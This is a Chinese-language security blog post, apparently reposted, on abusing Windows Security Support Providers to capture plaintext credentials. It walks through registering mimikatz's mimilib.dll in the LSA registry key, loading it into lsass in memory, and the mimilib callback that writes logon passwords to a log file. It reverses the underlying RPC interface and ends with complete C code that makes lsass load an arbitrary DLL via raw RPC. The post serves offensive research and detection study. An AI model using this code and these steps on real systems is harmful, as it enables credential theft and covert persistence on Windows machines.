戳上面的蓝字关注我们哦!SSP,全称Security Support Provider,又名Security PackageSSPI,全称Security Support Provider Interface,是Windows系统在执行认证操作所使用的APIMicrosoft提供了安全支持提供程序接口(SSPI)用于扩展Windows身份验证机制。每个称为安全支持提供程序(SSP)的模块都实现为动态链接库(DLL)。同时LSASS进程在Windows启动期间加载安全支持提供程序DLL。更多详情可以查看微软官方文书:
https://docs.microsoft.com/en-us/windows/win32/rpc/security-support-provider-interface-sspi-Local Security Authority,用于身份认证,常见进程为lsass.exe 特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中. 这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe
hklm\system\currentcontrolset\control\lsa
LSA项中的Security Packages键值中存贮着相关SSP的DLL先将Mimikatz的mimilib.dll复制到System32目录下在注册表中添加mimilib的DLL名称,并重启系统。
会在路径C:\Windows\System32\kiwissp.log记录明文利用Mimikatz中的misc::memssp加载mimilib至内存中去
加载至内存的好处就是无需重启系统,缺点在于不利于持续化当管理员通过验证时,会在System32中mimilsa.log文件中记录而除了mimikatz加载之外,还有一个动态加载SSP至内存的API
在复制mimilib.dll到System32并添加注册表情况下#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")
int main(int argc, char **argv) {
SECURITY_PACKAGE_OPTIONS option;
option.Size = sizeof(option);
option.Flags = 0;
option.Type = SECPKG_OPTIONS_TYPE_LSA;
option.SignatureSize = 0;
option.Signature = NULL;
SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option);
printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);
}
Windows AP,全称是Authentication Package(身份验证程序包)
一个DLL,其中封装了用于确定是否允许用户登录的身份验证逻辑。LSA通过将请求发送到身份验证包来对用户登录进行身份验证。然后,身份验证程序包将检查登录信息,并验证或拒绝用户登录尝试。
所以正如上面的DLL注册SSP时,实质上是将某个DLL注册为Windows AP。https://docs.microsoft.com/zh-cn/windows/win32/secauthn/authentication-functions#functions-implemented-by-sspaps其中有个SpLsaModeInitialize函数每个DLL中ppTables参数为一个SECPKG_FUNCTION_TABLE结构体typedef struct _SECPKG_FUNCTION_TABLE {
PLSA_AP_INITIALIZE_PACKAGE InitializePackage;
PLSA_AP_LOGON_USER LogonUser;
PLSA_AP_CALL_PACKAGE CallPackage;
PLSA_AP_LOGON_TERMINATED LogonTerminated;
PLSA_AP_CALL_PACKAGE_UNTRUSTED CallPackageUntrusted;
PLSA_AP_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough;
PLSA_AP_LOGON_USER_EX LogonUserEx;
PLSA_AP_LOGON_USER_EX2 LogonUserEx2;
SpInitializeFn *Initialize;
SpShutdownFn *Shutdown;
SpGetInfoFn *GetInfo;
SpAcceptCredentialsFn *AcceptCredentials;
SpAcquireCredentialsHandleFn *AcquireCredentialsHandle;
SpQueryCredentialsAttributesFn *QueryCredentialsAttributes;
SpFreeCredentialsHandleFn *FreeCredentialsHandle;
SpSaveCredentialsFn *SaveCredentials;
SpGetCredentialsFn *GetCredentials;
SpDeleteCredentialsFn *DeleteCredentials;
SpInitLsaModeContextFn *InitLsaModeContext;
SpAcceptLsaModeContextFn *AcceptLsaModeContext;
SpDeleteContextFn *DeleteContext;
SpApplyControlTokenFn *ApplyControlToken;
SpGetUserInfoFn *GetUserInfo;
SpGetExtendedInformationFn *GetExtendedInformation;
SpQueryContextAttributesFn *QueryContextAttributes;
SpAddCredentialsFn *AddCredentials;
SpSetExtendedInformationFn *SetExtendedInformation;
SpSetContextAttributesFn *SetContextAttributes;
SpSetCredentialsAttributesFn *SetCredentialsAttributes;
SpChangeAccountPasswordFn *ChangeAccountPassword;
SpQueryMetaDataFn *QueryMetaData;
SpExchangeMetaDataFn *ExchangeMetaData;
SpGetCredUIContextFn *GetCredUIContext;
SpUpdateCredentialsFn *UpdateCredentials;
SpValidateTargetInfoFn *ValidateTargetInfo;
LSA_AP_POST_LOGON_USER *PostLogonUser;
SpGetRemoteCredGuardLogonBufferFn *GetRemoteCredGuardLogonBuffer;
SpGetRemoteCredGuardSupplementalCredsFn *GetRemoteCredGuardSupplementalCreds;
SpGetTbalSupplementalCredsFn *GetTbalSupplementalCreds;
} SECPKG_FUNCTION_TABLE, *PSECPKG_FUNCTION_TABLE;
https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kssp.c设置了SpLsaModeInitialize函数,并在函数中设置了ppTables参数。其中注册了SECPKG_FUNCTION_TABLE结构体如下内容- SpInitialize:用于初始化SSP,提供一个函数指针列表。
- SpShutDown:卸载SSP时就会被调用,杀死释放资源。
- SpGetInfoFn:提供SSP相关信息,包括版本,名称以及描述。
- SpAcceptCredentials:接收LSA传递的明文凭证,由SSP缓存,mimilib在这里实现了将明文凭证保存在文件c:\windows\system32\kiwissp.log中。
这里侧重说一下SpAcceptCredentials回调函数其中有个PrimaryCredentials成员,其类型为PSECPKG_PRIMARY_CRED结构体。再反观其kssp_SpAcceptCredentials回调函数中使用klog_password(kssp_logfile, &PrimaryCredentials->Password)
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
{
klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"\n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}
之前在复现内存加载时候有用到一个API:AddSecurityPackageA先来看看该API是如何注册SSP的,定位该API的导出链接库:Secur32.dll而这里又是封装的Sspicli.dll!AddSecurityPackageA,跟入Sspicli.dll这里看了XPN的博客后知道,在这里有一个NdrClientCall3
不得不说这里Ghidra还是很直观的程序利用NdrClientCall3通过RPC发送信号给lsass观其类型为MIDL_STUBLESS_PROXY_INFO结构体typedef struct _MIDL_STUBLESS_PROXY_INFO {
PMIDL_STUB_DESC pStubDesc;
PFORMAT_STRING ProcFormatString;
const unsigned short *FormatStringOffset;
...
} MIDL_STUBLESS_PROXY_INFO;
其中pStubDesc字段为MIDL_STUB_DESC结构体,继续跟踪。如微软官网所述,RpcInterfaceInformation指向RPC服务器接口结构。这意味着我们可以用RPC_CLIENT_INTERFACE结构来解析typedef struct _RPC_CLIENT_INTERFACE {
unsigned int Length;
RPC_SYNTAX_IDENTIFIER InterfaceId;
RPC_SYNTAX_IDENTIFIER TransferSyntax;
PRPC_DISPATCH_TABLE DispatchTable;
unsigned int RpcProtseqEndpointCount;
PRPC_PROTSEQ_ENDPOINT RpcProtseqEndpoint;
ULONG_PTR Reserved;
void const *InterpreterInfo;
unsigned int Flags;
} RPC_CLIENT_INTERFACE, *PRPC_CLIENT_INTERFACE;
所以在Ghidra可以选择格式化类型,格式化如下:
4F32ADC8-6052-4A04-8701-293CCF2096F0
有了UUID就好办了查看Location信息就可以看到这个UUID是在哪个DLL中
SspiSrvInitialize函数中,调用了RpcServerUseProtseqEpRpcServerUseProtseqEp函数告诉RPC运行时库使用具有指定端点组合指定的协议序列,用于接收远程过程调用。https://docs.microsoft.com/zh-tw/windows/win32/rpc/the-client-applicationhttps://gist.github.com/masthoon/510dd757b21f04da47431e9d4e0a3f6e而之前在调用NdrClientCall3的时候给了一个nProcNum参数为3这里可以通过RpcView工具查看调用该函数所需的参数
而我在这里结合powershell的Get-RpcServer来生成C#代码$rpc = Get-RpcServer "c:\windows\system32\sspisrv.dll" | Select-RpcServer -InterfaceId "4f32adc8-6052-4a04-8701-293ccf2096f0"
Format-RpcClient $rpc | Out-File test.cs
但需要注意的是powershell低版本中没有实现相关功能000007fe`fd0f205f 4c896c2428 mov qword ptr [rsp+28h],r13
000007fe`fd0f2064 89442420 mov dword ptr [rsp+20h],eax
那这神秘的r13是什么呢~
根据研究员XPN师傅的博客上可知,这是SspirCallRpc函数调用的arg_2只能在这里借鉴XPN师傅的原图了#define SECURITY_WIN32
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <subauth.h>
#include <sspi.h>
#include <Dbghelp.h>
#include "sspi_h.h"
int main(int argc, char **argv) {
RPC_STATUS status;
UNICODE_STRING packageName;
UWORD packetLen = 0;
unsigned char* pszStringBinding = NULL;
unsigned long ulCode;
unsigned long long unk1;
unsigned char rpcPacket[0x2000];
long out1 = 0, out2 = 0;
void* out3 = (void*)0;
struct Struct_144_t out4;
printf("\nAddSecurityPackage Raw RPC Example... by @_xpn_\n\n");
if (argc != 2) {
printf("Usage: %s PACKAGE_PATH\n");
return 1;
}
printf("[*] Building RPC packet\n");
// Init RPC packet
memset(&packageName, 0, sizeof(packageName));
memset(rpcPacket, 0, sizeof(rpcPacket));
// Build DLL to be loaded by lsass
packageName.Length = strlen(argv[1]) * 2;
packageName.MaximumLength = (strlen(argv[1]) * 2) + 2;
mbstowcs((wchar_t*)(rpcPacket + 0xd8), argv[1], (sizeof(rpcPacket) - 0xd8) / 2);
packetLen = 0xd8 + packageName.MaximumLength;
// Complete RPC packet fields
*(unsigned long long*)rpcPacket = 0xc4; // ??
*(unsigned short*)(rpcPacket + 2) = packetLen; // Length of packet
*(unsigned long long*)((char*)rpcPacket + 8) = GetCurrentProcessId(); // Process ID
*(unsigned long long*)((char*)rpcPacket + 16) = GetCurrentThreadId(); //Thread ID
*(unsigned long long*)((char*)rpcPacket + 0x28) = 0x0b; // RPC call ID(Function ID)
*(void**)((char*)rpcPacket + 0xd0) = &unk1; // ??
// Copy package name into RPC packet
memcpy(rpcPacket + 0x40, &packageName, 8);
*(unsigned long long*)((char*)rpcPacket + 0x48) = 0xd8; // Offset to unicode ssp name
// 建立一个String Binding句柄
status = RpcStringBindingCompose(NULL,
(unsigned char*)"ncalrpc",
NULL,
(unsigned char*)"lsasspirpc",
NULL,
&pszStringBinding);
if (status) {
return 1;
}
printf("[*] Connecting to lsasspirpc RPC service\n");
//从字符串表示的绑定句柄,创建了一个default_IfHandle服务绑定句柄
status = RpcBindingFromStringBinding(pszStringBinding, &default_IfHandle);
if (status) {
return 1;
}
memset(&out4, 0, sizeof(out4));
//这里开始便是调用服务端的函数了
RpcTryExcept
{
// Create our RPC context handle
printf("[*] Sending SspirConnectRpc call\n");
long ret = Proc0_SspirConnectRpc((unsigned char *)NULL, 2, &out1, &out2, &out3);
// Make the "AddSecurityPackage" call directly via RPC
printf("[*] Sending SspirCallRpc call\n");
ret = Proc3_SspirCallRpc(out3, packetLen, rpcPacket, &out2, (unsigned char **)&out3, &out4);
}
RpcExcept(1) //异常捕获
{
ulCode = RpcExceptionCode();
if (ulCode == 0x6c6) {
printf("[*] Error code 0x6c6 returned, which is expected if DLL load returns FALSE\n");
}
else {
printf("[!] Error code %x received\n", ulCode);
}
}
RpcEndExcept
return 0;
}
//MIDL分配和释放,必须实现,否则会连接错误
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
free(ptr);
}
这样便可以在不直接调用AddSecurityPackage下加载SSP包- https://github.com/gentilkiwi/mimikatz
- https://www.anquanke.com/post/id/180001
- https://docs.microsoft.com/zh-cn/windows/win32/secauthn/authentication-functions
- https://www.sans.org/blog/a-few-ghidra-tips-for-ida-users-part-4-function-call-graphs/
- https://blog.xpnsec.com/exploring-mimikatz-part-2
- https://reverseengineering.stackovernet.com/ja/q/1480
- https://www.voorp.com/a/%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E4%B9%8B%E4%B8%80%E4%B8%AA%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84c%E7%A8%8B%E5%BA%8F%E5%AF%B9%E5%BA%94%E7%9A%84%E6%B1%87%E7%BC%96
- https://blog.csdn.net/zcmuczx/article/details/102370315
文章来源: https://mp.weixin.qq.com/s?__biz=MzAxNDk0MDU2MA==&mid=2247483920&idx=1&sn=69fb968e95e3cff42816f12b3d252fbf&chksm=9b8ae2efacfd6bf9c90f41aea671dc627949d4923c84d7565b0ab12dd11b93499573a479674b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh